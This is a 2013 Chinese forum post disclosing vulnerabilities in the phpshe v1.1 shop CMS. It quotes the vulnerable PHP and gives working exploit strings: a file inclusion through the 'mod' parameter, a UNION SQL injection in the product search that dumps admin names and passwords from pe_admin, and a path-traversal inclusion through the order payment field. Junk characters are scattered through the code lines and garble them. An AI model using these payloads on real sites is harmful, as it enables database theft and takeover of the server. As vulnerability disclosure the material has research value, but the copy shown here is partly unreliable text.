找回密码
 立即注册
查看: 2860|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
5 b% g& ~5 O. T- B) R+ [7 I& h% X) t/* Phpshe v1.1 Vulnerability
8 d0 g7 _: O$ ~/* ========================; w1 p/ Z8 e- J
/* By: : Kn1f3
9 o$ J9 a9 Q# T6 c, U/* E-Mail : 681796@qq.com
8 V: H1 n" g; `6 }/*******************************************************/* D+ h0 A: @; ^
0×00 整体大概参数传输: Z* Z9 ^: B1 l
0 Y) O5 z% o$ F; _- v# t5 p

6 Y5 Z! o" l5 s( z* q

2 ~; a/ _. H1 B* V6 A- y//common.php: ?1 _$ b# |1 `4 Z
if (get_magic_quotes_gpc()) {. k4 _2 W0 A9 S/ o. F
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');  m4 r) ^; M1 T" Q7 b1 J
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
" W& K+ P% d# Q3 x0 r* Q}
- A9 g/ _8 F! k% {  T4 o3 melse {7 j4 f7 o1 n% }
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');3 D* b8 {. \3 ]  y! R
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');7 j/ b: a# S) W; D
}
7 \! K& `! v& T4 ?+ jsession_start();
5 S# r5 x0 U% u6 F- S8 `( B!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
; t3 i' x, C2 u/ ]!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
' b( c! ^/ Q& I) c8 I' t5 @/ J: l! G8 s2 C& W
0×01 包含漏洞' F( `, u2 {' O  T

) R- \1 N; X0 G( {1 x/ ?6 {
( D& u  f& A- m' k) b1 ]
//首页文件
  a9 \! g4 D$ E0 z<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);: m! r$ V  C3 [" O: K* J8 P
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞) F& g- ?: z- t) z2 F$ q$ {
pe_result();
5 M! n) u# D% O0 i?>
! V7 Q, C, j" U4 ]$ E  L5 j. t//common 文件 第15行开始
5 P5 z* S4 t) H7 u  W& v8 ^/ Iurl路由配置
* g, V* p( ]4 [/ `# M& J7 ?& f! g, ~- D$module = $mod = $act = 'index';
' X7 c# E2 I& L5 v2 D$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);* V9 N) C* M+ g
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
8 T+ |! G6 |0 `$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
9 K$ }/ c" c. c7 J# v, E$ J! E//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00! z* z: R" _# t3 I. B) d, N


7 ?& k* z4 d8 E  e# p* V ; X+ o3 m+ E  T0 O: ~# u
0×02 搜索注入
  {" L6 ?# B0 k0 W: K 7 [9 V( p$ h' l( C5 c
<code id="code2">

//product.php文件% y" Q" b' _  @
case 'list':: I! P& D% ^/ ~; F+ |& w* h% K
$category_id = intval($id);  X( x% ~0 x0 ~" M7 B. s% P
$info = $db->pe_select('category', array('category_id'=>$category_id));: F( R5 f9 t# r) K% ^2 }
//搜索, `) o+ v" c1 o5 p. e# o* s2 N
$sqlwhere = " and `product_state` = 1";
6 X; ^6 `8 W  _- Fpe_lead('hook/category.hook.php');
' V$ Z- ~0 j5 z! V, P& Eif ($category_id) {
+ w8 _1 S0 j! S1 z, v8 m" Awhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";8 g7 N! f# S2 d3 d# `  J$ M4 b
}
% l* i! f( {! q. i5 F$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
. J  ~( l3 P+ Bif ($_g_orderby) {3 [$ r9 \, x1 L0 G5 t6 K
$orderby = explode('_', $_g_orderby);
* q; {  b8 q& ~  S$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";' U2 X7 s- D5 X
}9 X) v: @! @+ z9 J5 D1 D$ X" V7 i
else {
: ]# h6 ^$ {# U$sqlwhere .= " order by `product_id` desc";4 u* g( ]4 l: ^
}# B+ N6 g7 X3 Q$ w7 B  y3 k: R
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
" j# I+ S% V) a2 ?6 Y//热卖排行1 j) v% k0 B! R2 j' C  ]/ {8 h
$product_hotlist = product_hotlist();
# A/ S9 {& h' N* o+ N( d4 e//当前路径0 X+ p$ }; H7 N; z6 }3 N
$nowpath = category_path($category_id);
) ?. O& ?7 r7 g$seo = pe_seo($info['category_name']);
, y( [" }& e6 M, ~; Z+ e$ Q# {include(pe_tpl('product_list.html'));2 `; d; Z$ x% m+ B; E
//跟进selectall函数库% G) x, b5 Z4 q* e# ]; X: H: u
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
8 m4 d. N+ J2 Q1 L2 A2 j  V{
5 V2 U" ]" j9 R" ?/ v//处理条件语句
& A7 g1 H1 {5 }$sqlwhere = $this->_dowhere($where);
% h' D% _; }7 treturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
$ J, Y& b; \$ L  c  c3 \}+ ?. b) x; W3 \; h4 z  v/ @
//exp5 p6 v2 [( a5 [! K+ }
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1' b. \# C7 @& l% p7 I* x; f. V

</code>1 L7 |& n% X' @0 A
: i, F+ R+ q: S: D+ j
0×03 包含漏洞2
- @& Z$ g, e8 [2 P ! w5 \( n& W* h4 B- ]$ }1 ?
<code id="code3">

//order.php

case 'pay':


9 G7 R& F6 w$ p+ r$ [& S, ^& e$order_id = pe_dbhold($_g_id);

7 y& T8 Y8 C. V0 V
$cache_payway = cache::get('payway');


# p8 ?) B# K6 X8 \/ u& mforeach($cache_payway as $k => $v) {


8 O6 w  f: ?5 Q3 C! ?$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


( W3 O* U( M/ S9 U& h0 [if ($k == 'bank') {

* X" \4 ]9 {) l9 X
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


5 I! j6 X! P$ H}

# w$ w4 y# A' j- L8 u8 L5 n
}


) n7 [. p$ C' ?7 i) i' n* g$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


1 B  K8 x4 D% ]/ i' W/ \5 o!$order['order_id'] && pe_error('订单号错误...');


, U# B3 @1 Z& I/ o5 G; {8 Dif (isset($_p_pesubmit)) {

& b9 o3 A0 d+ C. y
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

' R8 b, z( L3 B
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

' ~$ s* M2 h1 L1 v5 \) s1 X
foreach ($info_list as $v) {


4 Y6 C2 ~# W" y4 m9 u8 d$ A$order['order_name'] .= "{$v['product_name']};";
4 w+ q: ]3 o0 @" {6 D) Z! k+ S

0 V# K0 Z; k9 w1 P0 J, l
}


8 m; U5 r! V. T7 C, p1 H. Eecho '正在为您连接支付网站,请稍后...';

$ n9 O  g* J* f% ]( ]
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

" W$ C' c. J$ t. V* @
}//当一切准备好的时候就可以进行"鸡肋包含了"

' j( o2 w6 z( d1 d# V' Y
else {

! Q' I. e8 e3 ]% O* |6 _6 D
pe_error('支付错误...');


8 l* |, t% P% B5 R8 h}

9 ]; D. F: u- {$ c, u% _
}


$ a) [* W  Q' A* P$seo = pe_seo('选择支付方式');


$ q$ w0 r! T+ {$ l0 [include(pe_tpl('order_pay.html'));


( m7 m" y2 u: dbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>( u' _+ d# x- s7 n. M4 [3 _$ @, I

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表